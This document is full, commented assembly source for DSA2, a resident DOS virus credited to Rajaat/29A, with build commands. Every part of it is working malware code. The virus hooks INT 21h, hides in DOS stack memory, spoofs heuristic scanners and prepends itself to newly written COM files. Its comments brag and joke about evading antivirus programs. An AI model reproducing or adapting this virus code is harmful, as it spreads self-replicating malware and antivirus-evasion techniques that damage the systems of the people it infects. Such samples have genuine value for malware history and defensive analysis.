;=====( DSA2 Virus by Rajaat / 29A )===========================================
;
; Virus name    : DSA2
; Author        : Rajaat / 29A
; Origin        : United Kingdom, December 1997
; Compiling     : Using TASM
;
;                 TASM /M DSA2
;                 TLINK /T DSA2
; Targets       : COM files
; Size          : 245 bytes
; Resident      : Yes, doesn't decrease memory
; Polymorphic   : No
; Encrypted     : No
; Stealth       : No
; Tunneling     : Uses SFT to avoid some monitors
; Retrovirus    : No
; Antiheuristics: Only TBSpoof
; Peculiarities : It won't get far
; Drawbacks     : Don't write me, I know all of them ;-)
; Behaviour     : When an infected COM file is executed, the virus will
;                 go resident in the stack reserved for dos INT 21
;                 functions <0ch and hook INT 21. There will be no
;                 visible decrease in conventional memory. The virus
;                 will then pass control to the host by shifting the
;                 whole host back over the virus code (this virus is
;                 prepending). From now, every COM file of 0 bytes in
;                 length that is written to (except for misnamed EXE
;                 files) will get infected. If a write is done, DSA2
;                 check wether the current filesize is 0, the file
;                 handle does not belong to a device, the amount of
;                 which will be written is not too big or too small and
;                 last but not least wether it is already infected or
;                 not. If all requirements are met, DSA2 will write
;                 itself to the file and then let the original write
;                 proceed. This makes DSA2 a slow infector and doesn't
;                 need a critical error handler.
;
;                 It's unknown what this virus might do besides replicate :)
;
;                 Well, actually this virus is a little combination of
;                 two other viruses that are both written by me,
;                 Andropinis and DSA. The virus will use some tricks to
;                 make it tough to av programs to detect the virus and
;                 to remove it heuristically. There is no decrease in
;                 conventional memory and it isn't very noticeable.
;                 Unfortunately there are not many COM files in use now
;                 anymore, but that's how the cookie crumbles.
;
;                 Thanks to Sandy for lashing me to work and comment
;                 this virus, and the rest for supporting me.
;
;                 As a side note, I want to dedicate this virus to a
;                 friend of mine who had some very traumatic experience
;                 with a car and a dog. I wish him luck and I hope he
;                 recovers soon enough and can leave the mental
;                 institute again.... Naaaah just kidding :*)
;
;                 UK != OK
;
;=====( Start of code )========================================================

.model tiny                             ; tiny tidy shitty whatever
.code                                   ; what I always wanted to do
.radix 16                               ; I think in HEX
.286                                    ; I am tired of XT weenies. spend some
                                        ; money and buy a REAL machine

                org 100                 ; com offset

main:           push ax                 ; TBSpoof (not for newer versions)
                dec bx

                cld                     ; clear direction bit (wow!)

                lea bx,main             ; Squeeze doggy.. eehhh entrypoint on
                push bx                 ; the stack


;=====( Some wise words from Ralph Brown )=====================================
; INT 21 U - DOS 3.0+ internal - GET ADDRESS OF DOS SWAPPABLE DATA AREA
; AX = 5D06h
; Return:
; CF set on error         AX = error code (see #1020)
; CF clear if successful  DS:SI -> nonreentrant data area (includes all three D
;                                  DOS stacks) (critical error flag is first
;                                  byte) (see #1027)
;                         CX = size in bytes of area which must be swapped
;                              while in DOS
;                         DX = size in bytes of area which must always be
;                              swapped
;=====( Thank you sir! )=======================================================

                mov ax,5d06             ; see above piece
                int 21

                xchg ax,si              ; swap si to ax
                test al,0f              ; is it paragraph aligned? (should be)
                jnz is_resident         ; no, bummer, we are resident :-)

                shr ax,4                ; convert it to segment address
                add al,50               ; add paragraphs to stack - 10h
                mov di,ds               ;
                add ax,di               ; add ds to the converted paragraphs
                push cs                 ;
                pop ds                  ; I like Snoop Doggy Dog $-)
                mov es,ax               ;

                cmp word ptr es:[bx],'KP' ; are we there yet?
                jz is_resident            ; yes, bailout time

                mov si,bx               ; get start address of virus
                mov di,bx               ; in both source and destination

                mov cx,virus_size       ; and move the virus to the dos
                rep movsb               ; stack

                push es                 ; whoop, some segment juggling here
                pop ds                  ; for my ease

                mov ax,3521             ; now where did I put that int 21h
                int 21                  ; vector to? let's kindly ask DOS to
                mov word ptr int_21,bx  ; provide that for me, and store it
                mov word ptr int_21+2,es; into my memory

                mov ah,25               ; in order to be able to replicate, the
                lea dx,new_21           ; virus hooks int 21h itself
                int 21                  ;

;=====( Return to host handler )===============================================

is_resident:    pop di                  ; this was the pushed bx register &^)
                pop ax                  ; this was the pushed ax register @:-)
                push cs                 ; clean some segment registers by
                push cs                 ; setting them to the code segment
                pop ds                  ; again...
                pop es                  ;
                push 0c3a4              ; now this is what makes this puppy a
                push 0f357              ; bit special, it pushes a rep movsb
                push sp                 ; and a ret on the stack and the stack
                lea si,virus_end        ; its own address and then jumps to the
                mov cx,5                ; stack, which shifts the complete host
host_size       equ $-2                 ; down and then returns to 100h
                ret

                db '[DSA2]'             ; I could have called it DogCrusher,
                db '[Rajaat/29A]'       ; but I don't wanna hurt Jqwerty his
                                        ; feelings >8-)

;=====( Resident handler of the virus )========================================

new_21:         cmp ah,40               ; is it a write action?
                je write_to_file        ; yea, let's go check it out

eoi_21:         jmp dword ptr cs:[int_21] ; thank you, drive through

write_to_file:  push ax                 ; i don't want to spoil these registers
                push bx                 ; so I push them on the stack.
                push dx                 ;
                push di                 ; http://www.europa.com/~dogman
                push es                 ; hahahahahaha

                mov ax,4400             ; check if the file belongs to a device
                int 21                  ; or not....
                test dl,80              ;
                jnz not_suitable        ; if so, it's not for use.

                mov ax,1220             ; get the file handle table for the
                int 2f                  ; file handle that is now in bx
                mov bl,byte ptr es:[di] ;
                mov ax,1216             ; jq performs it doggy style ;-)
                int 2f                  ;

                mov bx,2020                ; now we gonna check if the file has
                mov ax,word ptr es:[di+28] ; a com extension. if it hasn't it
                or ax,bx                   ; is bailout time again.
                cmp ax,'oc'                ;
                jne not_suitable           ; doesn't start with "co"
                mov al,byte ptr es:[di+2a] ;
                or al,bl                   ;
                cmp al,'m'                 ; doesn't end with "m"
                jne not_suitable           ;

                cmp word ptr es:[di+11],0  ; if the current file length is 0,
                jne not_suitable           ; the file has just been created,
                                           ; which is great, since this virus
                                           ; is a great slow infector

                cmp cx,1000             ; if the file is too small for our
                jb not_suitable         ; liking, it's bailout time again
                cmp cx,0f000            ; and if the file is too large we quit
                jbe check_exe           ; too, otherwise we jump to check_exe

not_suitable:   pop es                  ; get the wasted register again from
                pop di                  ; the stack we put them on some lines
                pop dx                  ; above here.
is_renamed_exe: pop bx                  ;
                pop ax                  ;
                jmp eoi_21              ; and chain to the old interrupt 21h

check_exe:      pop es                  ; get some registers we need
                pop di                  ;
                pop dx                  ;

                mov bx,dx                 ; does the write contain an exe
                cmp word ptr ds:[bx],'ZM' ; header?
                je is_renamed_exe         ; if so, we leave here.

                cmp word ptr ds:[bx],'KP' ; is it already infected?
                je is_renamed_exe         ; yes, we leave again (are we exe?
                                          ; no but i hate multiple
                                          ; references)

;=====( Actual infection routine - very simplistic )============================

infect_com:     pop bx                  ; get filehandle from stack
                push bx                 ;

                push cx                 ; same some values we need (length we
                push dx                 ; wanted to write, and offset)
                push ds                 ;

                push cs                    ; write our own code before the
                pop ds                     ; file as some extra attachment.
                mov word ptr host_size,cx  ; so we actually didn't have to
                mov ah,40                  ; open and close the file ourselves.
                mov cx,virus_size          ; this saves a lot of time, we don't
                lea dx,main                ; need an error handler.
                pushf                      ;
                call dword ptr cs:[int_21] ;

                pop ds                  ; pop some registers
                pop dx                  ;
                pop cx                  ;
                jmp is_renamed_exe      ; and we are done

int_21          dd 0                    ; here we store the original int 21h

virus_end       equ $                   ; end of virus ofcourse
virus_size      equ virus_end-main      ; the size of the virus

;=====( Host file )============================================================

                mov ax,4c00             ; exit to dos with exit code
                int 21                  ; this is actually a carrier host

end main                                ; curtains fall... :-0

;=====( This is the the end, the very end, make the best of it, and goodbye )==
